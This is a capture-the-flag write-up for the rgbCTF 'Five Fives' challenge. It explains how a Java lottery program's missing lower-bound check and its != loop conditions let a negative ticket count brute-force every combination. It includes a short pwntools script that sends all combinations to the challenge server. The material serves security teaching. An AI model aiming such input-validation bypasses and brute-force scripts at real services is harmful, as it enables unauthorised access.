108 lines
3.1 KiB
Markdown
108 lines
3.1 KiB
Markdown
# Five Fives
|
|
|
|
writeup by [5225225](https://www.5snb.club) for [BLÅHAJ](https://blahaj.awoo.systems)
|
|
|
|
**Pwn/Rev**
|
|
**476 points**
|
|
**46 solves**
|
|
|
|
> java SecureRandom is supposed to be, well, secure, right?
|
|
|
|
provided file: <Main.java>
|
|
|
|
## writeup
|
|
|
|
At first glance, this challenge looks like a RNG prediction challenge, where you need to recreate
|
|
the seed from the output, and then guess future output.
|
|
|
|
```java
|
|
//You'll never find my seed now!
|
|
int sleep = ThreadLocalRandom.current().nextInt(10000);
|
|
Thread.sleep(sleep);
|
|
long seed = System.currentTimeMillis();
|
|
ByteBuffer bb = ByteBuffer.allocate(Long.BYTES);
|
|
bb.putLong(seed);
|
|
SecureRandom r = new SecureRandom(bb.array());
|
|
Thread.sleep(10000 - sleep);
|
|
```
|
|
|
|
The code does manually seed a `SecureRandom` with a predictable input, namely the
|
|
`System.currentTimeMillis`. There is a 10 second window where the seed could be generated, so
|
|
there's 10 thousand possibilities for the seed. Add 10 or 20 thousand more to account for clock
|
|
variance between us and the server, and this is a very doable attack.
|
|
|
|
However, it turns out SecureRandom is only insecure with a given seed on windows. On other
|
|
platforms, it just reads from `/dev/urandom`, which is secure. Trying the attack fails, even after
|
|
a few attempts.
|
|
|
|
While looking at the code, you notice the odd writing of the `for` loops
|
|
|
|
```java
|
|
for (int i = 0; i != 5; i++) {
|
|
System.out.print((r.nextInt(5) + 1) + " ");
|
|
}
|
|
```
|
|
|
|
They use `!=` instead of the more robust `<` consistently.
|
|
|
|
```java
|
|
System.out.println("You have $20, and each ticket is $1. How many tickets would you like to buy? ");
|
|
int numTries = Integer.parseInt(in.nextLine());
|
|
if (numTries > 20) {
|
|
System.out.println("Sorry, you don't have enough money to buy all of those. :(");
|
|
System.exit(0);
|
|
}
|
|
```
|
|
|
|
Here, they check for going *over* 20, but not under.
|
|
|
|
|
|
```java
|
|
for (int i = 0; i != numTries; i++) {
|
|
System.out.println("Ticket number " + (i + 1) + "! Enter five numbers, separated by spaces:");
|
|
String[] ticket = in.nextLine().split(" ");
|
|
|
|
boolean winner = true;
|
|
for (int b = 0; b != 5; b++) {
|
|
if (nums[b] != Integer.parseInt(ticket[b])) {
|
|
winner = false;
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (!winner) {
|
|
System.out.println("Your ticket did not win. Try again.");
|
|
} else {
|
|
System.out.println("Congratulations, you win the flag lottery!");
|
|
outputFlag();
|
|
}
|
|
}
|
|
```
|
|
|
|
Entering a `numTries` of -50000 will let you simply do a brute force attack against every
|
|
possibility, since -50000 is indeed *not* equal to 0, and you will be incrementing for a long time
|
|
until 0 reaches -50000.
|
|
|
|
```python
|
|
import time
|
|
import itertools
|
|
from pwn import *
|
|
|
|
r = remote("challenge.rgbsec.xyz", 7425)
|
|
|
|
r.readuntil("How many tickets would you like to buy?")
|
|
r.clean()
|
|
|
|
r.send(b"-50000\n")
|
|
|
|
ra = range(1, 6)
|
|
print(r.clean())
|
|
for i in itertools.product(range(1, 6), repeat=5):
|
|
r.send(f"{i[0]} {i[1]} {i[2]} {i[3]} {i[4]}\n".encode("UTF-8"))
|
|
time.sleep(0.01)
|
|
print(r.clean())
|
|
```
|
|
|
|
I'm dumping the output of `r.clean()` as I don't know what format the flag will take, so I simply
|
|
dump this to a file and then grep through it for `rgbCTF`.
|